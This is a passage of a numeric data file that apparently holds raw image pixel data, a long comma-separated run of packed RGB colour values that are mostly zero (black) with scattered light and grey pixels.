,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9463354,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3815994,3815994,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815994,3815994,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3816038,9483995,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3815994,6710886,6710886,6710886,6710886,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,11983835,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,11983871,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483958,14408703,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,